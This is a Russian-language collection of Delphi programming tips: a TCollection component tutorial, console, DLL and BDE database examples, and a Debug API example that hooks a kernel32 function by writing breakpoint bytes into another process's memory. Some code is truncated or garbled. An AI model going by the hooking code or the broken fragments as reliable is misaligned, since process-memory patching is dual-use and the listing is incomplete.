Свойство Count. Количество элементов в коллекции. Аналог такого же свойства TList. Свойство ItemClass. Дает фактический класс элементов коллекции. Этот класс задается при создании коллекции и в дальнейшем быть изменен не может. Все элементы коллекции имеют один и тот же класс (в этом смысле список на основе TList более гибок, так как не имеет подобного ограничения). Свойство Items. Массив элементов коллекции. Аналог такого же свойства TList. Методы Add, Clear и Insert. Аналоги соответствующих методов TList, но с одним важнейшим отличием. При добавлении (вставке) объекта в список TList или его удалении из списка сам объект не создается и, соответственно, не уничтожается. Те же операции с коллекцией приводят к автоматическому созданию и уничтожению экземпляра объекта. Конечно, это возможно именно потому, что в случае коллекции класс объекта известен заранее, а в случае TList объект может быть любым. Метод Assign. Копирует элементы одной коллекции в другую. Конечно, если классы элементов этих коллекций не совпадают, возникнет ошибка. Кстати, такое копирование стало возможным как раз потому, что коллекции и их элементы построены на основе класса TPersistent, в то время как подобная операция со списками TList требует дополнительного кода. Методы BeginUpdate и EndUpdate. Эти методы проще всего рассмотреть на примере перерисовки. Выше отмечалось, что коллекции предназначены, в основном, для создания «визуальных» списков. Если один из элементов коллекции обновляется, это приводит к его обновлению и на экране. Если же обновляются сразу несколько элементов, то нет смысла выполнять промежуточные перерисовки экрана, а надо выполнить только одну - после обновления всех элементов. Это и позволяют сделать два рассматриваемых метода. Важно знать, что перерисовка происходит только после того, как метод EndUpdate будет вызван ровно столько раз, сколько перед этим был вызван BeginUpdate. Чтобы гарантировать правильную работу, обычно эти вызовы используются совместно с блоком try…finally. Конечно, этот механизм может быть использован при любом обновлении элементов коллекции, а не только для их перерисовки. Метод FindItemID. Дает элемент коллекции с заданным ID (либо Nil, если такового нет). Метод GetNamePath. Используется для внутренних нужд IDE, как часть поддержки работы в design-time. Для прикладного программиста этот метод вряд ли представляет интерес. Метод Changed. Этот protected-метод должен вызываться наследниками TCollection при изменении существенных свойств коллекции. Приводит к вызову метода Update, но не сразу, а после ее полного обновления (см. BeginUpdate и EndUpdate). Метод Update. В классе TCollection этот protected-метод не делает ничего, но потомки могут заместить его для фактического обновления коллекции (например, для той же перерисовки). В остальном класс TCollection - это, в общем-то, обычный объект (за исключением того, что имеет ряд дополнительных методов, обеспечивающих взаимодействие с IDE в design-time). Никакие события в этом классе не определены, но могут быть определены в его потомках. 1.3. Владелец коллекции и класс TOwnedCollection В большинстве случаев коллекции используются, как свойства компонентов (собственно, это и есть их основное назначение). Пусть, например, мы разрабатываем компонент, который должен содержать список некоторых объектов. Тогда сначала мы определяем класс «элемент коллекции», затем класс самой коллекции и, наконец, вводим в наш компонент свойство, как объект этого класса. Это свойство и будет представлять искомый список объектов, причем мы сможем работать с ним в design-time, не предпринимая для этого никаких дополнительных усилий. В рассмотренном случае наш компонент будет владельцем (owner) коллекции. Согласно общей идеологии Delphi и для обеспечения правильной работы IDE в классе самой коллекции следует заместить метод GetOwner, который любая коллекция наследует от класса TPersistent. Все, что этот метод должен делать - это возвращать ссылку на компонент-владелец и в Delphi определен еще один класс - TOwnedCollection, в котором такая функциональность уже реализована. Вопрос - если мы создаем коллекцию, планируя использовать ее именно как свойство компонента, то должны ли мы в качестве ее предка выбирать только класс TOwnedCollection, или можно использовать общий класс TCollection? Ответ - правильно и то, и другое, но во втором случае мы должны сами позаботиться о замещении метода GetOwner. Можно даже в раздел public (но только не в published) ввести read-only свойство Owner, также дающее ссылку на владельца (через тот же метод GetOwner). Тем самым, не затрачивая лишних ресурсов (свойства не требуют памяти) мы дополнительно усиливаем сходство создаваемой коллекции с компонентом - ведь все компоненты имеют свойство Owner. 1.4. Резюме по теоретической части Итак, коллекция - это объект, реализующий список других объектов. Его основное отличие от общего списка TList заключается в том, что, не будучи компонентом, он в design-time допускает работу с собой, как с компонентом. Для этого используются общий редактор всех компонентов Object Inspector и специальный редактор свойства Collection Editor. Такая особенность поддерживается как IDE, так и самой коллекцией, что налагает на ее реализацию ряд требований. 2. ПРАКТИКА Прикладным программистам, особенно мало знакомым с работой самой IDE все предыдущее вполне могло показаться слишком неинтересным или слишком сложным. Настало время показать, что это вовсе не так. Создадим учебный компонент - потомок TShape, содержащий коллекцию визуальных точек. Его практическая ценность довольно сомнительна, но для демонстрационных целей такой компонент неплох, поскольку он достаточно прост и поэтому «лес не будет слишком заслонен деревьями» (ведь наша основная цель - научиться работать с коллекциями). Итак, запускаем Delphi, щелкаем по File | New, выбираем «Component» и нажимаем OK. В поле «Ancestor type» пишем слово «TShape», а в поле «Class name» - слово «TDappledShape» и нажимаем «Install». Переходим на вкладку «Into new package», нажимаем «Browse» и задаем путь к создаваемому пакету, а в качестве его имени указываем, например, «HelloWorld». Далее на все вопросы отвечаем нажимом кнопок «Да» - и в итоге на странице Samples палитры получаем свежесозданный компонент DappledShape, который пока еще ничем не отличается от своего предка - стандартного Shape. На экране будет окно, в котором отображается состав нового пакета HelloWorld. Не нужно его закрывать, оно еще понадобится - ведь после всех изменений пакет надо перекомпилировать (кнопка «Compile»). А мы перейдем в окно редактора с текстом модуля DappledShape и, наконец, займемся настоящим программированием. Практически весь код нам придется писать вручную, но что может быть интереснее, не правда ли? 2.1. Создание элемента коллекции Итак, элемент нашей коллекции будет представлять визуальную точку. Такая точка имеет две координаты центра и цвет. Конечно, можно ввести еще множество других параметров (размер, форма, вид кисти и т.д.), но мы не будем усложнять и ограничимся перечисленными тремя.В разделе interface сразу после слова type пишем следующее объявление класса, который и будет представлять элемент нашей коллекции.
TSpot = class(TCollectionItem) private FCenterX: integer; FCenterY: integer; FColor: TColor; public constructor Create(Collection: TCollection); override; published property CenterX: integer read FCenterX write SetCenterX default 3; property CenterY: integer read FCenterY write SetCenterY default 3; property Color: TColor read FColor write SetColor default clBlack; end; |
Теперь ставим курсор куда-то в середину этого объявления и нажимаем Ctrl+Shift+C. Умница Delphi добавляет еще три метода «Set» и создает скелет реализации. Остается только на языке Object Pascal объяснить, чего же мы, собственно, хотим. Итак, пишем реализацию.
constructor TSpot.Create(Collection: TCollection);
begin
// Создаем сам объект и инициализируем его поля
inherited Create(Collection);
FCenterX := 3;
FCenterY := 3;
FColor := clBlack
end;
procedure TSpot.SetCenterX(const Value: integer);
begin
// Если значение новое, запоминаем его и запрашиваем перерисовку
if FCenterX <> Value then
begin
FCenterX := Value;
Changed(False)
end
end;
procedure TSpot.SetCenterY(const Value: integer);
begin
if FCenterY <> Value then
begin
FCenterY := Value;
Changed(False)
end
end;
procedure TSpot.SetColor(const Value: TColor);
begin
if FColor <> Value then
begin
FColor := Value;
Changed(False)
end
end;
|
Создание элемента коллекции полностью закончено. Возвращаемся в раздел interface и сразу же после объявления класса TSpot пишем две следующие строки.
TDappledShape = class; TItemChangeEvent = procedure(Item: TCollectionItem) of object; |
Теперь мы можем объявить класс самой коллекции.
TSpotCollection = class(TCollection)
private
FDappledShape: TDappledShape;
FOnItemChange: TItemChangeEvent;
protected
function GetOwner: TPersistent; override;
procedure Update(Item: TCollectionItem); override;
procedure DoItemChange(Item: TCollectionItem); dynamic;
public
constructor Create(DappledShape: TDappledShape);
function Add: TSpot;
property Items[Index: Integer]: TSpot read GetItem write SetItem; default;
published
property OnItemChange: TItemChangeEvent
read FOnItemChange write FOnItemChange;
end;
|
Теперь поступаем так же, как и прежде - ставим курсор куда-то внутрь этого объявления, нажимаем Ctrl+Shift+C, получаем скелет реализации и дописываем код. Обратите внимание, что и в этом случае Delphi добавляет в раздел private два метода доступа - GetItem (чтение) и SetItem (запись), которые мы ввели при объявлении свойства Items. Однако коллекции требуют, чтобы эти два метода были доступны классам-потомкам и поэтому они должны быть объявлены в разделе protected, куда нам и следует их перенести вручную. В итоге получим следующее.
function TSpotCollection.Add: TSpot;
begin
// Получаем общий TCollectionItem и приводим его к нашему TSpot
Result := TSpot(inherited Add)
end;
constructor TSpotCollection.Create(DappledShape: TDappledShape);
begin
// Создаем коллекцию и запоминаем ссылку на ее владельца
inherited Create(TSpot);
FDappledShape := DappledShape
end;
procedure TSpotCollection.DoItemChange(Item: TCollectionItem);
begin
// Стандартный вызов пользовательского обработчика события
if Assigned(FOnItemChange) then
FOnItemChange(Item)
end;
function TSpotCollection.GetItem(Index: Integer): TSpot;
begin
// Получаем общий TCollectionItem и приводим его к нашему TSpot
Result := TSpot(inherited GetItem(Index))
end;
function TSpotCollection.GetOwner: TPersistent;
begin
// Возвращаем ранее запомненную ссылку на владельца коллекции
Result := FDappledShape
end;
procedure TSpotCollection.SetItem(Index: Integer; const Value: TSpot);
begin
// Просто используем унаследованный метод записи
inherited SetItem(Index, Value)
end;
procedure TSpotCollection.Update(Item: TCollectionItem);
begin
// Вызов унаследованного метода здесь лишний, но это грамотный стиль. Он
// гарантирует верную работу даже при изменениях в новых версиях Delphi.
inherited Update(Item);
// Даем запрос на перерисовку компонента-владельца
FDappledShape.Invalidate;
// Возбуждаем событие - сигнал об изменении элемента
DoItemChange(Item)
end;
|
С самого начала Delphi создала нам скелет объявления класса TDappledShape и сейчас, наконец, настало время его оживить. Пишем следующее.
TDappledShape = class(TShape) private FSpots: TSpotCollection; protected procedure Paint; override; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; published property Spots: TSpotCollection read FSpots write SetSpots; end; |
Далее, как обычно - курсор внутрь класса, Ctrl+Shift+C и пишем реализацию.
constructor TDappledShape.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FSpots := TSpotCollection.Create(Self)
end;
destructor TDappledShape.Destroy;
begin
FSpots.Free;
inherited Destroy
end;
procedure TDappledShape.Paint;
var
SaveColor: TColor;
SaveStyle: TBrushStyle;
i: integer;
begin
inherited Paint;
SaveColor := Canvas.Brush.Color;
SaveStyle := Canvas.Brush.Style;
Canvas.Brush.Style := bsSolid;
for i := 0 to FSpots.Count - 1 do
with FSpots.Items[i] do
begin
Canvas.Brush.Color := Color;
Canvas.Ellipse(CenterX - 3, CenterY - 3, CenterX + 3, CenterY + 3)
end;
Canvas.Brush.Style := SaveStyle;
Canvas.Brush.Color := SaveColor
end;
procedure TDappledShape.SetSpots(const Value: TSpotCollection);
begin
FSpots.Assign(Value)
end;
|
Скачать пример DappledShape.zip (1.5K).
Как использовать консоль в не-консольном приложении.
Для того, чтобы добавить в не-консольное приложение ввод/вывод из консоли, необходимо воспользоваться функциями AllocConsole и FreeConsole.
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
AllocConsole;
try
Write('Type here your words and press ENTER: ');
Readln(s);
ShowMessage(Format('You typed: "%s"', [s]));
finally
FreeConsole;
end;
end;
|
Использование C-шной DLL.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TMainForm = class(TForm)
Button1: TButton;
Button2: TButton;
FooData: TEdit;
Button3: TButton;
Button4: TButton;
SetCVarData: TEdit;
GetCVarData: TEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
_GlobalVar: PChar = 'This is a Delphi String';
implementation
uses PasStrng;
{$R *.DFM}
{$L ccode.obj}
type
TFoo = class
function Function1(Str1: PChar): integer; virtual; cdecl; abstract;
function Function2(i: integer): integer; virtual; cdecl; abstract;
end;
PCharArray = ^TCharArray;
TCharArray = array[0..127] of char;
// import from OBJ file:
function _SAYHELLO(Text: PChar): Integer; cdecl; external;
procedure _C_VAR; external; // trick to import OBJ data
// imports from DLL file:
function ClassFactory: TFoo; cdecl; external 'cdll.dll'
name '_CLASSFACTORY';
procedure ClassKill(Foo: TFoo); cdecl; external 'cdll.dll'
name '_CLASSKILL';
procedure TMainForm.Button1Click(Sender: TObject);
begin
_SayHello('hello world');
end;
procedure TMainForm.Button2Click(Sender: TObject);
var
Foo: TFoo;
begin
Foo := ClassFactory;
Foo.Function1('huh huh, cool.');
FooData.Text := IntToStr(Foo.Function2(10));
ClassKill(Foo);
end;
function GetCArray: string;
var
A: PCharArray;
begin
A := PCharArray(@_C_VAR);
Result := A^;
end;
procedure SetCArray(const S: string);
var
A: PCharArray;
begin
A := PCharArray(@_C_VAR);
StrLCopy(A^, PChar(S), SizeOf(TCharArray));
end;
procedure TMainForm.Button3Click(Sender: TObject);
begin
SetCArray(SetCVarData.Text);
end;
procedure TMainForm.Button4Click(Sender: TObject);
begin
GetCVarData.Text := GetCArray;
end;
end.
Скачать весь проект
Обрабатываем выделенные строки в DBGrid.
| Я целюсь не рукой; кто целится рукой, тот забыл лицо своего отца. Я целюсь глазом. Я стреляю не рукой; кто стреляет рукой, тот забыл лицо своего отца. Я стреляю разумом. Я убиваю не оружием; кто убивает оружием, тот забыл лицо своего отца. Я убиваю сердцем. Древнее заклинание Квакеров |
function TForm1.Grid_Edit(dbgIn: TDBGrid; qryIn: TQuery): Longint;
begin
Result := 0;
with dbgIn.DataSource.DataSet do
begin
First;
DisableControls;
try
while not EOF do
begin
if (dbgIn.SelectedRows.CurrentRowSelected = True) then
begin
//Здесь можно обработать строку илил вызвать функцию для обработки
Inc(Result);
end;
Next;
end;
finally
EnableControls;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Caption := 'Обработано: ' + IntToStr(Grid_Edit(DBGrid1, Query1));
end;
|
Добавление псевдонима с помощью функции DbiAddAlias.
Автор: Tom Stickle
var
pszAliasName: PChar; { Имя псевдонима }
pszDriverType: PChar; { Тип драйвера для псевдонима }
pszParams: PChar; { Дополнительные параметры }
bPersist: Bool; { Постоянный или временный псевдоним }
dbiRes: Integer; { Возвращаемый код }
begin
pszAliasName := strAlloc(25);
pszDriverType := strAlloc(25);
pszParams := strAlloc(100);
try
bPersist := True;
strPcopy(pszAliasName, 'Lance');
strPcopy(pszDriverType, 'PARADOX');
strPcopy(pszParams, 'PATH:' + 'c:\Paradox\');
dbiRes := DbiAddAlias(nil, pszAliasName, pszDriverType, pszParams,
bPersist);
finally
strDispose(pszAliasName);
strDispose(pszDriverType);
strDispose(pszParams);
end;
end;
|
Использование DBIopenlocklist.
Автор: Reinhard KalinkeВот пример поиска пользователей данной таблицы. Имейте в виду, что свойство TStringList Duplicate установлено в dupIgnore, поскольку пользователь может иметь более одной блокировки таблицы. При работе с dBase возвращается только блокировка текущего сеанса, тогда как с Paradox функция покажет всех пользователей, получивших доступ к этому же NET-файлу.
procedure GetTableUserList(ATable: TTable; AStringList: TStringList);
var
hUserCur: hDBICur;
pUserBuf: pByte;
begin
AStringList.Clear;
AStringList.Duplicates := dupIgnore;
Check(DBIOpenLockList(ATable.Handle, True, True, hUserCur));
GetMem(pUserBuf, SizeOf(LOCKDesc));
try
while (DBIGetNextRecord(hUserCur, dbiNOLOCK, pUserBuf, nil) = DBIERR_NONE) do
AStringList.Add(StrPas(pLOCKDesc(pUserBuf)^.szUserName))
finally
FreeMem(pUserBuf, SizeOf(LOCKDesc));
DBICloseCursor(hUserCur);
end;
end;
|
Простой пример работы с базой данных из DLL.
Автор: Steve SchaferЭто простейший DLL, экспортирующий единственную функцию. Вызывающий ее оператор передает функции значение ключа и строку со значением. Функция открывает демонстрационную базу данных BIOLIFE, находит по ключу запись и добавляет строку после всех записей в поле Notes:
library Mydll;
uses
DBTables;
function Modify(Key: Double; const Info: string): Boolean; export;
var
Table: TTable;
Stream: TBlobStream;
begin
Table := TTable.Create(nil);
Table.DatabaseName := 'D:\';
Table.TableName := 'BIOLIFE';
Table.TableType := ttParadox;
Table.Open;
if Table.FindKey([Key]) then
begin
Result := True;
Table.Edit;
Stream := TBlobStream.Create(TMemoField(Table.FieldByName('Notes')),
bmReadWrite);
Stream.Seek(0, 2);
Stream.Write(Info[1], Length(Info));
Stream.Free;
Table.Post;
end
else
Result := False;
Table.Free;
end;
exports
Modify;
begin
end.
|
Вот как это можно вызвать из приложения:
function Modify(Key: Double; const Info: String): Boolean; far; external 'MYDLL'; ... // Modify(90200, 'Васек Трубачев'); |
Поскольку в DLL вы используете BDE, изучите текущие замечания относительно его использования в файле README.TXT.
Как использовать базу данных BDE, не указывая ее имя.
Если база данных находится в той же директории, что и экзешник, то в качестве имени базы можно использовать .\ в поле DatabaseName в TTable.
Использование Debug API. Пример перехвата вызовов функций Win32 API.
| Винда на компьютере должна быть правильная. Вот Линукс - это правильная винда. |
С чего все начиналось:
С начала. Мне нужно было написать перехватчик вызовов WinSock. Дабы любая программа могла работать через SOCKS5-проксик. Я посчитал, что перехват вызовов DLL'ки проще, чем судорожные попытки написать драйвер (да и сейчас так считаю). Енота, правда, ехидно улыбалась и говорила "ну-ну", но я-таки справился. SOCKS сниффер еще пишу, но в принципах перехвата уже разобрался :-) [Енота: разобраться-то он действительно разобрался, а соксифиера нет до сих пор...].
Как все будет:
Я предпочитаю не писать сухие статьи с кучей теории. Поскольку я люблю читать работающий исходный код, то и здесь будет только исходный код. Все пояснения я буду вставлять прямо в исходник - в виде комментариев. Впрочем, не надейтесь, что вам будет достаточно выдрать отсюда исходник, и он скомпилится. :-) Это не потому, что я специально что-то скрыл, а потому, что я вырезал кучу вспомогательных процедур, которые каждый может написать сам. Если вы, все же, паталогически ленивы - скачайте архив с полными рабочими исходниками. Оттуда точно заработает.
Исходники:
Наконец-то... начнем.
procedure DoDebugLoop;
{ собственно, это главная процедура перехватчика.
большую часть времени он крутится именно в ней }
var
Event: TDebugEvent;
{ стандартная Win32 структура. для интересующихся:}
ЕDеьиgЕvеnt = record
dwDebugEventCode: DWORD; // тип пришедшего события
dwProcessId: DWORD; // Id прерванного процесса
dwThreadId: DWORD; // Id прерванного потока
case Integer of
0: (Exception: TExceptionDebugInfo);
1: (CreateThread: TCreateThreadDebugInfo);
2: (CreateProcessInfo: TCreateProcessDebugInfo);
3: (ExitThread: TExitThreadDebugInfo);
4: (ExitProcess: TExitThreadDebugInfo);
5: (LoadDll: TLoadDLLDebugInfo);
6: (UnloadDll: TUnloadDLLDebugInfo);
7: (DebugString: TOutputDebugStringInfo);
8: (RipInfo: TRIPInfo);
// эти части смотрите сами - не могу же я все разжевывать! :-)
end;
|
Следует добавить, что Microsoft - ребята странные. Функция GetThreadContext, при помощи которой реализуется пошаговая отладка и просмотр регистров, требует на входе хэндл процесса. а нам дают только его Id. после безуспешных поисков функции типа ConvertThreadIdToHandle [Енота: мечтатель, однако...] я решил, что придется заводить список запущенных потоков. в событии CREATE_THREAD_DEBUG_EVENT нам дают-таки хэндл. придется запоминать все созданные потоки (не забывая их забывать ( сорри :-) в EXIT_THREAD_DEBUG_EVENT). позже Sleepyhead сказал, что я все придумал очень правильно (ай да Кэтмар! ай да сукин сын! простите, классика :-) - так люди и делают. ну он большой, ему виднее :-) }.
dwContinueStatus: DWORD; { как системе обрабатывать событие в ContinueDebugEvent. обнаружилось, что если это событие - не исключение (EXCEPTION_DEBUG_EVENT), то этот флажок системе "по сараю". а если исключение, то есть два варианта: DBG_CONTINUE - наш "отладчик" успешно обработал все сам, и DBG_EXCEPTION_NOT_HANDLED, что значиит - передать исключение системе на обработку } CurThread: DWORD; { хэндл потока, найденный в нашем списке потоков (см. замечание чуть повыше) } HProc: DWORD; { хэндл процесса, который мы отлаживаем } Context: TContext; { контекст потока. проще говоря - содержание его регистров } ThreadList: array[0..99] of record Id, Handle: DWORD; end; { тот самый пресловутый список потоков, который мы своими ручками будем создавать и поддерживать. в принципе, это должен быть список или динамический массив, ибо количество потоков, которые может создать программа, заранее не известно, но не будем заморачиваться. код-то демонстрационный! } RetAddr: DWORD; { здесь будет храниться адрес возврата из перехваченной API-функции (так, на всякий случай. чтобы вы видели, как и откуда его можно добыть) } BPAddr: DWORD; { в учебных целях мы будем перехватывать только одну функцию. поэтому вместо списка обойдемся просто переменной. здесь будет храниться адрес первого байтика перехваченной функции } OrigByte: Byte; { а здесь будет храниться сам первый байтик } RestoreBreak: Boolean; { флажок, который указывает обработчику события EXCEPTION_SINGLE_STEP надо ли восстанавливать точку останова. весь перехват выглядит так: нашли стартовый адрес процедуры (это можно сделать просмотром таблицы экспорта у соответствующей DLL-ки. как именно - здесь не пишу. или разбирайтесь сами, или качайте мои исходники - там все есть. не то чтобы мне жалко, но к Debug API это имеет отношение весьма косвенное. опять же, если народ будет очень интересоваться, сделаю статью с quick overview формата PE); запомнили ее первый байт; записали вместо первого байта код $CC (это Int3 - DEBUG_EXCEPTION); по приходу DEBUG_EXCEPTION: проверили, точно ли мы прервались на адресе нашей точки останова. если нет - не делаем ничего. иначе: восстановили первый байт; установили флажок SINGLE_STEP; установили флажок ResoteBreak; ожидаем прихода события EXCEPTION_SINGLE_STEP; по приходу EXCEPTION_SINGLE_STEP: если установлен флажок RestoreBreak: вернули на место $CC; сбросили флажок ResoteBreak; } ProcessFinished: Boolean; { флажок, указывающий, завершился ли отлаживаемый процесс. Sleepyhead говорит, что иногда процесс не завершается корректно (к примеру, отладчик, который отлаживает отладчик, который отлаживает отладчик... [Енота: GNU's not Unix :-)]), поэтому если процесс не завершится сам, мы прибьем его руками }
begin
FillChar(ThreadList, SizeOf(ThreadList), 0);
HProc := 0;
{ хэндл процесса, который будем отлаживать.
пока процесс не запущенным считается,
соответственно - хэндла нету }
ProcessFinished := True;
{ поскольку процесс не запустился,
то он считается завершенным :-) }
BPAddr := 0;
{ точку останова уточним,
когда загрузится нужная DLL }
RestoreBreak := False;
repeat
if not WaitForDebugEvent(Event, INFINITE) then
break;
{ ожидаем прихода отладочного события. в реальном отладчике здеесь
вместо INFINITE лучше задать маленькую константу, ожидать в цикле,
там же в цикле организовывать взаимодействие с юзверем. или вообще
для интерфейса отдельный поток создать }
dwContinueStatus := DBG_EXCEPTION_NOT_HANDLED;
{ поскольку большинство исключений мы не обрабатываем,
то по умолчанию так и говорим системе }
CurThread := GetThreadHandleFromList(ThreadList, Event.dwThreadId);
{ просто поиск в массиве ThreadList. Id нам известен, ищем хэндл }
case Event.dwDebugEventCode of
{ проверим - а что, собственно случилось? }
CREATE_PROCESS_DEBUG_EVENT:
{ запустился новый процесс. запомним его хэндл, и сбросим флажок ProcessFinished }
begin
HProc := Event.CreateProcessInfo.HProcess;
ProcessFinished := False;
AddThreadToList(ThreadList, Event.dwThreadId, Event.CreateProcessInfo.hThread);
end;
EXIT_PROCESS_DEBUG_EVENT:
{ процесс завершился - значит, можно смело закрывать наш перехватчик.
заодно установим флажок ProcessFinished }
begin
ProcessFinished := True;
ContinueDebugEvent(Event.dwProcessId, Event.dwThreadId, DBG_CONTINUE);
{ это на всякий случай - чтобы ось точно прибила и процесс, и отладчик.
в принципе, оно не надо, но смотри выше комментарий к ProcessFinished }
break; { все, из цикла отладки можно смело выходить }
end;
CREATE_THREAD_DEBUG_EVENT:
{ процесс запустил новый поток. здесь у нас есть единственная возможность
запомнить его хэндл. так и делаем }
AddThreadToList(ThreadList, Event.dwThreadId, Event.CreateThread.hThread);
EXIT_THREAD_DEBUG_EVENT:
{ процесс завершил исполнение потока. забудем его хэндл }
DeleteThreadFromList(ThreadList, Event.dwThreadId);
LOAD_DLL_DEBUG_EVENT:
{ процесс загрузил какую-то DLL'ку. проверим, не та ли
это, которая нам нужна. если та, установим точку останова.
текст процедуры смотрите ниже }
ProcessDLLExport(HProc, DWORD(Event.LoadDll.lpBaseOfDll));
UNLOAD_DLL_DEBUG_EVENT:
{ процесс выгрузил какую-то DLL'ку. по-правилам,
это надо бы обработать, но поскольку я перехватываю вызовы kernel32.dll,
который всегда (за очень-очень редким исключением :-) линкуется статически,
то это событие я просто игнорирую. а вообще-то надо запомнить
адрес загрузки нужной нам DLL в LOAD_DLL_DEBUG_EVENT
(ибо это единственный способ идентифицировать DLL'ку),
а здесь проверять - не наша ли это. если наша - обнулить BPAddr.
можете дописать сами - как любят говорить авторы книг:
"в качестве упражнения" :-) [Енота: ага. а сам, когда видит
в книге эту фразу, разражается потоком нецензурной лексики :-)] }
WriteLn('unloading DLL: ', IntToHex(DWORD(Event.UnloadDll.lpBaseOfDll), 8));
EXCEPTION_DEBUG_EVENT:
{ какое-то исключение. проверим поточнее... }
case Event.Exception.ExceptionRecord.ExceptionCode of
EXCEPTION_BREAKPOINT:
{ это - точка останова. здесь мы уточним: наша или нет. дело в том,
что система сама генерирует это событие, когда процесс загрузился,
но перед тем, как он запущен (полсе того, как системный загрузчик
загрузил процесс и все его DLL'ки. как раз перед тем, как исполнить
первую инструкцию процесса). плюс - мало ли, какой код внутри
исследуемого процесса может быть? так что... }
begin
dwContinueStatus := DBG_CONTINUE;
{ скажем системе, что это исключение мы обработали сами, пусть не напрягается }
Context.ContextFlags := CONTEXT_CONTROL or CONTEXT_INTEGER or CONTEXT_SEGMENTS;
GetThreadContext(CurThread, Context);
{ получили контекст прерванного потока. больше всего нас интересуют IP и Flags.
остальные регистры запросили просто для полноты картины }
if (BPAddr <> 0) and (Context.EIP = BPAddr + 1) then
begin
{ если мы уже установили нашу точку останова и прервались именно на ней... }
RetAddr := ReadProcessLong(HProc, Context.ESP);
{ то получим адрес возврата из перехваченной нами функции.
он нам не нужен, на самом-то деле, это просто пример - откуда его брать.
если вам нужны параметры - ReadProcessLong(HProc, Context.ESP + 4)
будет первым, ...+ 8) - вторым, и так далее... кстати, ReadProcessLong -
просто обертка для системной функции ReadProcessMemory. читает 4 байтика.
для удобства. думаю, что у вас не будет проблем сделать себе такую же :-) }
WriteLn('Return address: 0x', IntToHex(RetAddr, 8));
{ дальше - уменьшим IP на еденичку (чтобы исполнить ту инструкцию,
которую мы заменили на нашу точку останова)... реально, EIP-1
хранится в BPAddr. так и запишем... }
Context.EIP := BPAddr;
{ ...и восстановим оригинальный первый байтик этой инструкции }
WriteProcessByte(HProc, BPAddr, OrigByte);
{ установим флажок для того, чтобы система генерировала
событие EXCEPTION_SINGLE_STEP. в этом событии надо будет вернуть
точку останова на место, иначе перехват состоится ровно один раз :-)
[Енота: а то бы читатель сам не догадался...] }
RestoreBreak := True;
Context.EFlags := Context.EFlags or EFLAGS_TRACE;
{ вышеприведенной инструкцией мы сообщаем системе,
что хотим получать по событию (EXCEPTION_SINGLE_STEP) после каждой
исполненной в отлаживаемом процессе машинной команды. кстати,
значение константы EFLAGS_TRACE = $100 }
Context.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(CurThread, Context);
{ установим новое значение регистров потока }
end;
end;
EXCEPTION_SINGLE_STEP:
{ выполнена одна машинная команда. скорее всего,
возниконовение этого события - результат выполнения нашей точки останова,
но кто знает? проверим флажки. если надо - восстановим точку останова }
begin
dwContinueStatus := DBG_CONTINUE;
{ скажем системе, что это исключение мы обработали сами, пусть не напрягается }
Context.ContextFlags := CONTEXT_CONTROL;
GetThreadContext(CurThread, Context);
if RestoreBreak and (Context.EIP >= BPAddr) and (Context.EIP then
begin
{ это действительно "наше" событие. восстановим точку останова,
чтобы перехватчик работал и дальше }
OrigByte := WriteInt3(HProc, BPAddr);
RestoreBreak := False;
Context.EFlags := Context.EFlags and not EFLAGS_TRACE;
{ сбросим флажок трассировки, ибо больше это событие нам не надо }
end
else
if RestoreBreak then
Context.EFlags := Context.EFlags or EFLAGS_TRACE;
{ вернем флажок трассировки, если событие не наше -
нам ведь надо нашего дождаться. у меня система сама скидывает сей флаг,
так что на всякий случай... }
Context.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(CurThread, Context);
end;
end;
end;
if not ContinueDebugEvent(Event.dwProcessId, Event.dwThreadId, dwContinueStatus) then
break;
{ все. смело позволяем отлаживаемому процессу исполняться дальше }
until
False;
{ сюда мы попадем только при каком-нибудь сбое или завершении процесса.
на всякий случай (по совету SlееруНеаd'а) проверим: а точно наш
отлаживаемый процесс завершился? если нет - прибьем руками }
if not ProcessFinished then
begin
repeat
TerminateProcess(HProc, RetAddr);
if not WaitForDebugEvent(Event, INFINITE) then
break;
if (Event.dwDebugEventCode = EXIT_PROCESS_DEBUG_EVENT) then
break;
if not ContinueDebugEvent(Event.dwProcessId, Event.dwThreadId, DBG_CONTINUE) then
break;
until
False;
ContinueDebugEvent(Event.dwProcessId, Event.dwThreadId, DBG_CONTINUE);
end;
{ все. закончили :-) }
end;
{ а вот процедурка, которая устанавливает точку останова }
procedure ProcessDLLExport(PrcH, Base: DWORD);
var
DLLName: string;
ExpTbl: TExportHeader;
N: DWORD;
begin
if (BPAddr <> 0) then
exit;
{ если уже установлена - не делать ничего }
if not FindExportTable(PrcH, Base, ExpTbl) then
exit;
{ если не смогли найти в DLL'ке таблицу экспорта (мало ли...) -
тоже ничего не делать }
DLLName := ANSILowerCase(GetASCIIZString(PrcH, ExpTbl.NameRVA + Base));
{ получили имя DLL'ки }
if (DLLName <> 'kernel32.dll') then
exit;
{ не наша? если да - снова не делаем ничего }
N := FindExportIndexByName(PrcH, Base, 'AllocConsole', ExpTbl);
N := FindExportByIndex(PrcH, Base, N, ExpTbl);
{ нашли по таблице экспорта точку входа (если не нашли -
опять же ничего делать не надо }
if (N = 0) then
exit;
{ а если нашли - запомним необходимую информацию и установим останов }
BPAddr := N;
OrigByte := WriteInt3(PrcH, N);
{ WriteInt3 просто возвращает в качестве результата старый байтик,
и на его место записывает код $CC - инструкция Int3. когда система
встречает эту инструкцию, она генерирует исключение EXCEPTION_BREAKPOINT }
end;
|
Все. Не так страшен черт, как его малюют [Енота: или: не так страшен Гейтс... :-)]. Остались мелочи.
